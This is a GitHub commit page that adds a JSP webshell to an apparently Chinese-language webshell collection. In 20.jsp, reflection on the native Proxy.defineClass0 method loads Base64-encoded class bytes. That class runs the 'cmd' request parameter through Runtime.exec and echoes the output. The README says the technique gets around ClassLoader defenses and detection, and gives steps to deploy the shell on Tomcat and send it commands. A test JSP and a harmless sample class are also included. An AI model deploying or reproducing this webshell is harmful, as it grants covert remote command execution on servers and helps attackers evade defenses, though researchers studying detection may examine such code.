Skip to content

Commit bc031dd

Browse files
committed
添加 java.lang.reflect.Proxy#defineClass0 利用方式
1 parent 59e0edb commit bc031dd

File tree

5 files changed

+101
-0
lines changed

5 files changed

+101
-0
lines changed

README.md

100644100755
+2
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@
2121
17. Runtime.exec的JSP Webshell
2222
18. 利用TemplatesImpl反序列化的JSP Webshell
2323
19. 精简一句话ScriptEngine.eval的JSP Webshell
24+
20. 反射调用 Proxy native 方法 defineClass0 加载类字节码 Webshell
2425

2526
### 分类
2627

@@ -48,6 +49,7 @@
4849
9. BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell: 15.jsp
4950
10. VersionHelper包装的URLClassLoader类加载器的JSP Webshell: 16.jsp
5051
11. 利用TemplatesImpl反序列化的JSP Webshell: 18.jsp
52+
12. 利用 Proxy native 方法 defineClass0 加载类字节码 Webshell: 20.jsp
5153

5254
#### 四、动态编译
5355
1. javac动态编译class的JSP Webshell: 5.jsp

jsp/20/20.jsp

+26
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
<%@ page import="java.lang.reflect.Method" %>
2+
<%@ page import="java.lang.reflect.Proxy" %>
3+
<%@ page import="java.util.Base64" %>
4+
<%!
5+
public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
6+
7+
// 获取系统的类加载器,可以根据具体情况换成一个存在的类加载器
8+
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
9+
10+
// 反射java.lang.reflect.Proxy类获取其中的defineClass0方法
11+
Method method = Proxy.class.getDeclaredMethod("defineClass0",
12+
ClassLoader.class, String.class, byte[].class, int.class, int.class);
13+
// 修改方法的访问权限
14+
method.setAccessible(true);
15+
16+
// 反射调用java.lang.reflect.Proxy.defineClass0()方法,动态向JVM注册对象
17+
// 返回一个 Class 对象
18+
return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
19+
}
20+
%>
21+
<%
22+
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MQnl0ZUNvZGVFdmlsOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMQnl0ZUNvZGVFdmlsBwBwDABxAHIBABJCeXRlQ29kZUV2aWwuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ");
23+
Class<?> testClass = defineByProxy("ByteCodeEvil", bytes);
24+
Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
25+
out.println(result.toString());
26+
%>

jsp/20/20_test.jsp

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
<%@ page import="java.lang.reflect.Method" %>
2+
<%@ page import="java.lang.reflect.Proxy" %>
3+
<%!
4+
public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
5+
6+
// 获取系统的类加载器,可以根据具体情况换成一个存在的类加载器
7+
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
8+
9+
// 反射java.lang.reflect.Proxy类获取其中的defineClass0方法
10+
Method method = Proxy.class.getDeclaredMethod("defineClass0",
11+
ClassLoader.class, String.class, byte[].class, int.class, int.class);
12+
// 修改方法的访问权限
13+
method.setAccessible(true);
14+
15+
// 反射调用java.lang.reflect.Proxy.defineClass0()方法,动态向JVM注册对象
16+
// 返回一个 Class 对象
17+
return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
18+
}
19+
%>
20+
<%
21+
String CLASS_NAME = "org.su18.serialize.test.proxy.SuTestClass";
22+
byte[] CLASS_BYTES = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 20, 10, 0, 4, 0, 16, 8, 0, 17, 7,
23+
0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0,
24+
15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86,
25+
97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 43, 76, 111, 114,
26+
103, 47, 115, 117, 49, 56, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 47, 116, 101, 115, 116, 47, 112,
27+
114, 111, 120, 121, 47, 83, 117, 84, 101, 115, 116, 67, 108, 97, 115, 115, 59, 1, 0, 6, 99, 97, 108, 108,
28+
77, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59,
29+
1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 16, 83, 117, 84, 101, 115, 116, 67, 108, 97,
30+
115, 115, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 43, 67, 97, 108, 108, 32, 77, 101, 32, 66, 121, 32,
31+
89, 111, 117, 114, 32, 72, 101, 97, 114, 116, 44, 65, 110, 100, 32, 73, 32, 83, 104, 97, 108, 108, 32, 66,
32+
101, 32, 84, 104, 101, 114, 101, 46, 1, 0, 41, 111, 114, 103, 47, 115, 117, 49, 56, 47, 115, 101, 114, 105,
33+
97, 108, 105, 122, 101, 47, 116, 101, 115, 116, 47, 112, 114, 111, 120, 121, 47, 83, 117, 84, 101, 115, 116,
34+
67, 108, 97, 115, 115, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0,
35+
33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42,
36+
-73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 10,
37+
0, 11, 0, 0, 0, 9, 0, 12, 0, 13, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1, 0, 0, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0,
38+
8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 1, 0, 14, 0, 0, 0, 2, 0, 15};
39+
40+
Class<?> testClass = defineByProxy(CLASS_NAME, CLASS_BYTES);
41+
42+
Method m = testClass.getDeclaredMethod("callMe");
43+
System.out.println(m.invoke(testClass));
44+
%>

jsp/20/README.md

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
### Proxy 的 native 方法 defineClass0 加载类字节码
2+
3+
说明:
4+
5+
反射调用 java.lang.reflect.Proxy 的 native 方法 defineClass0 向 JVM 注册类,本质上类似 ClassLoader 类型的木马,但是可以绕过对 ClassLoader 的相关防御,另外由于是 native 方法,可以绕过很多检测方式。
6+
7+
生成字节码(使用 2.jsp 中的类):
8+
```
9+
javac ByteCodeEvil.class
10+
java ByteCodeEvil
11+
cat ByteCodeEvil.class|base64
12+
```
13+
14+
使用:
15+
```
16+
ps:若要修改字节码逻辑,修改后按照上面编译字节码的方式得到base64字节码替换jsp文件中的base64字节码
17+
18+
1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT
19+
20+
2.在浏览器访问20.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/2.jsp?cmd=whoami
21+
22+
3.服务器将会执行相应的shell命令,最后回显
23+
```

jsp/20/SuTestClass.java

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
public class SuTestClass {
2+
3+
public static String callMe() {
4+
return "Call Me By Your Heart,And I Shall Be There.";
5+
}
6+
}

0 commit comments

Comments
 (0)